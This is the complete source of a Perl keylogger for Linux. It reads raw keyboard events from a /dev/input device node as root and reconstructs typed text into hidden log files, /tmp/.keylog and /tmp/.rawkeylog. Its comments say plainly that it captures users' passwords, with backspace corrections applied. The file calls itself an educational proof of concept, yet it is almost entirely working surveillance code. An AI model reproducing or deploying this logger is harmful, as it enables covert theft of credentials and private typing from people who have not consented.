#!/usr/bin/perl -w

use strict;
use warnings;
use threads;
use threads::shared;

# keylog - A simple key logger.
# Usage:   keylog <path-to-device-node>
# Example: keylog /dev/input/event0
#
# The user you run this as should have read access to the device node. Most of
# the time, this means you'll need to run this as root.
#
# To find out which device node your keyboard is using, run the command
# `cat /proc/bus/input/devices` and search for your keyboard. There should be
# a line by your keyboard's info that looks like "Handlers=kbd event4" and
# in this case the input device is /dev/input/event4. Update this for any
# other event number that you see instead.
#
# This program prints ALL key events to the terminal (including the key up/down
# events for all keys). This information probably isn't directly useful to you,
# so it also logs "full sentences" to the log file at /tmp/.keylog. The lines
# it logs are probably the most useful to you; if the user hits the backspace
# key, the last key they typed is deleted, etc.. so if a user is typing their
# password and makes a typo and finishes typing, you'll get their full password.
#
# The buffer used for this is saved after 2 seconds of idle time in their typing,
# or when a "separator key" is entered (a separator key is: Enter, Return, or
# Tab). Each buffer is saved to its own line in the log file. If the user is a
# slow typer, one "sentence" may actually span multiple lines, so you'll have to
# figure this out yourself.
#
# This is just a proof of concept and should be used for educational purposes
# only.
#
# --Kirsle
# http://sh.kirsle.net/

# Modify the die handler so we can exit on error messages
# more gracefully.
$SIG{__DIE__} = sub {
	my $err = shift;
	$err =~ s/ at .+ line .+\.//g;
	print $err;
	exit(1);
};

# Get the device node from command line.
scalar(@ARGV) or die "Usage: keylog <device-node>\nExample: keylog /dev/input/event0";
my $DEV = $ARGV[0];

# Must run this as root, or be able to read from the device.
if (!-r $DEV) {
	die "Can't read from $DEV; got root?";
}

# Hash to keep track of modifier keys.
our $mod = {
	shift => 0,
	alt   => 0,
	ctrl  => 0,
};

# This scalar holds the "typing buffer". If they pause typing for 2 seconds,
# or hit a "separator key" (return/enter or tab), the buffer is written to disk
# in the log file. The backspace key deletes text in the buffer, etc. This way
# you can see basically what they typed, without having to parse through the
# key up/down events yourself.
my $buffer  : shared;
my $lastkey : shared;  # Holds the time() of the last key event seen.
my $writenow : shared; # The key parser can force the buffer to write now.
$buffer  = '';
$lastkey = 0;
$writenow = 0;

# Spawn a thread to watch the buffer and write it to disk. This way the
# blocking file reads won't prevent the buffer from being written.
my $bufthread = threads->create (\&buffer);

# Open the device for reading.
open (FILE, $DEV);
while (1) {
	# Read the next keypress event.
	my $line = "";
	sysread(FILE, $line, 16);
	my @vals = split(//, $line);

	if (ord($vals[10]) != 0) {
		# Interpret the event.
		interpret(ord($vals[10]),ord($vals[12]));
	}
}
close (FILE);

# This is the buffer writing thread.
sub buffer {
	while (1) {
		select(undef,undef,undef,0.1);

		# Was there a 2 second delay from the last event?
		if ($lastkey == 0) {
			next;
		}

		if ((time() - $lastkey >= 2 && length($buffer) > 0) || $writenow) {
			# Write it to disk.
			print "Writing buffer to disk\n";
			open (WRITE, ">>/tmp/.keylog");
			print WRITE ts() . "$buffer\n";
			close (WRITE);
			$buffer = '';
			$lastkey = 0;
			$writenow = 0;
		}
	}
}

# Interpret keycode events from the device node.
sub interpret {
	my ($keycode,$state) = @_;

	# Store the last keypress time.
	$lastkey = time();

	# Qwerty keyboard map.
	qwerty($keycode,$state);
	return;

	# This code doesn't run; if you want it to run,
	# comment out the "return" just above these
	# comments. This is for debugging purposes.
	print "[$keycode] ";
	if ($state == 0) {
		print "up\n";
	}
	elsif ($state == 1) {
		print "down\n";
	}
	elsif ($state == 2) {
		print "repeat\n";
	}
	else {
		print "\n";
	}
}

# Interpret keycodes based on QWERTY key map.
sub qwerty {
	my ($code,$state) = @_;
	return unless $state >= 0 && $state <= 2;

	# Handle the modifier keys first.
	if ($code == 42 || $code == 54) {
		# Shift key.
		$mod->{shift} = ($state == 1 ? 1 : 0);
	}
	elsif ($code == 29 || $code == 97) {
		# Ctrl key.
		$mod->{ctrl} = ($state == 1 ? 1 : 0);
	}
	elsif ($code == 56 || $code == 100) {
		# Alt key.
		$mod->{alt} = ($state == 1 ? 1 : 0);
	}

	# Qwery keys.
	my %keys = (
		# Keys that map to two different characters (with shift
		# key held down) are an array; element 0 is the non-shifted
		# character, element 1 is the shifted character.

		# number row
		41 => [ '`', '~' ],
		2  => [ '1', '!' ],
		3  => [ '2', '@' ],
		4  => [ '3', '#' ],
		5  => [ '4', '$' ],
		6  => [ '5', '%' ],
		7  => [ '6', '^' ],
		8  => [ '7', '&' ],
		9  => [ '8', '*' ],
		10 => [ '9', '(' ],
		11 => [ '0', ')' ],
		12 => [ '-', '_' ],
		13 => [ '=', '+' ],

		# qwerty row
		16 => [ 'q', 'Q' ],
		17 => [ 'w', 'W' ],
		18 => [ 'e', 'E' ],
		19 => [ 'r', 'R' ],
		20 => [ 't', 'T' ],
		21 => [ 'y', 'Y' ],
		22 => [ 'u', 'U' ],
		23 => [ 'i', 'I' ],
		24 => [ 'o', 'O' ],
		25 => [ 'p', 'P' ],
		26 => [ '[', '{' ],
		27 => [ ']', '}' ],
		43 => [ '\\', '|' ],

		# asdf row
		30 => [ 'a', 'A' ],
		31 => [ 's', 'S' ],
		32 => [ 'd', 'D' ],
		33 => [ 'f', 'F' ],
		34 => [ 'g', 'G' ],
		35 => [ 'h', 'H' ],
		36 => [ 'j', 'J' ],
		37 => [ 'k', 'K' ],
		38 => [ 'l', 'L' ],
		39 => [ ';', ':' ],
		40 => [ "'", '"' ],

		# zxcv row
		44 => [ 'z', 'Z' ],
		45 => [ 'x', 'X' ],
		46 => [ 'c', 'C' ],
		47 => [ 'v', 'V' ],
		48 => [ 'b', 'B' ],
		49 => [ 'n', 'N' ],
		50 => [ 'm', 'M' ],
		51 => [ ',', '<' ],
		52 => [ '.', '>' ],
		53 => [ '/', '?' ],

		# Other keys
		14  => 'Backspace',
		28  => 'Return',
		96  => 'Enter',
		15  => 'Tab',
		57  => ' ',
		58  => 'Caps Lock',
		69  => 'Num Lock',
		70  => 'Scroll Lock',
		42  => 'L-Shift',
		54  => 'R-Shift',
		29  => 'L-Ctrl',
		97  => 'R-Ctrl',
		56  => 'L-Alt',
		100 => 'R-Alt',
		125 => 'L-Super',
		126 => 'R-Super',
		127 => 'Menu',
		1   => 'Escape',
		59  => 'F1',
		60  => 'F2',
		61  => 'F3',
		62  => 'F4',
		63  => 'F5',
		64  => 'F6',
		65  => 'F7',
		66  => 'F8',
		67  => 'F9',
		68  => 'F10',
		87  => 'F11',
		88  => 'F12',
		110 => 'Insert',
		102 => 'Home',
		107 => 'End',
		104 => 'Pg Up',
		109 => 'Pg Dn',
		111 => 'Del',
		99  => 'Print Screen',
		119 => 'Pause',
		103 => 'Up',
		108 => 'Down',
		106 => 'Right',
		105 => 'Left',
		71  => [ 'Num-7', 'Num-Home'   ],
		72  => [ 'Num-8', 'Num-Up'     ],
		73  => [ 'Num-9', 'Num-Pg Up'  ],
		75  => [ 'Num-4', 'Num-Left'   ],
		76  => 'Num-5',
		77  => [ 'Num-6', 'Num-Right'  ],
		79  => [ 'Num-1', 'Num-End'    ],
		80  => [ 'Num-2', 'Num-Down'   ],
		81  => [ 'Num-3', 'Num-Pg Dn'  ],
		82  => [ 'Num-0', 'Num-Insert' ],
		96  => 'Num-/',
		55  => 'Num-*',
		74  => 'Num--',
		78  => 'Num-+',
		93  => [ 'Num-.', 'Num-Del' ],
	);

	# See their matching keypress.
	my $keypress = '';
	foreach my $key (sort keys %keys) {
		if ($code == $key) {
			# We have a match! Does the key have a shift-modifier?
			if (ref($keys{$key}) eq "ARRAY") {
				if ($mod->{shift}) {
					$keypress = $keys{$key}->[1];
				}
				else {
					$keypress = $keys{$key}->[0];
				}
			}
			else {
				$keypress = $keys{$key};
			}
			last;
		}
	}

	# Add it to the buffer.
	if ($state == 1) {
		if (length $keypress > 1) {
			if ($keypress eq 'Backspace') {
				# Delete the last character off the end of their buffer.
				$buffer = substr($buffer,0,(length($buffer) - 1));
			}
			else {
				# Add the special key with {brackets} around it.
				$buffer .= "{$keypress}";
			}
		}
		else {
			$buffer .= $keypress;
		}
	}

	# If they hit a separator key, save the buffer right now.
	if ($state == 1 && ($keypress eq 'Return' || $keypress eq 'Enter' || $keypress eq 'Tab')) {
		$writenow = 1;
	}

	# Print their key.
	if ($mod->{shift}) {
		$keypress = "(Shift) $keypress";
	}
	if ($mod->{ctrl}) {
		$keypress = "(Ctrl) $keypress";
	}
	if ($mod->{alt}) {
		$keypress = "(Alt) $keypress";
	}

	if ($state == 1) {
		$keypress = "+ $keypress";
	}
	else {
		$keypress = "- $keypress";
	}

	print "$code $keypress\n";

	# Log the raw keypresses too.
	open (RAW, ">>/tmp/.rawkeylog");
	print RAW ts() . "$code $keypress\n";
	close (RAW);
}

sub ts {
	my @time = localtime();
	return "[" . join(" ",
		join("-",
			sprintf("%04d", $time[5] + 1900),
			sprintf("%02d", $time[4] + 1),
			sprintf("%02d", $time[3]),
		),
		join(":",
			sprintf("%02d", $time[2]),
			sprintf("%02d", $time[1]),
			sprintf("%02d", $time[0]),
		),
	) . "] ";
}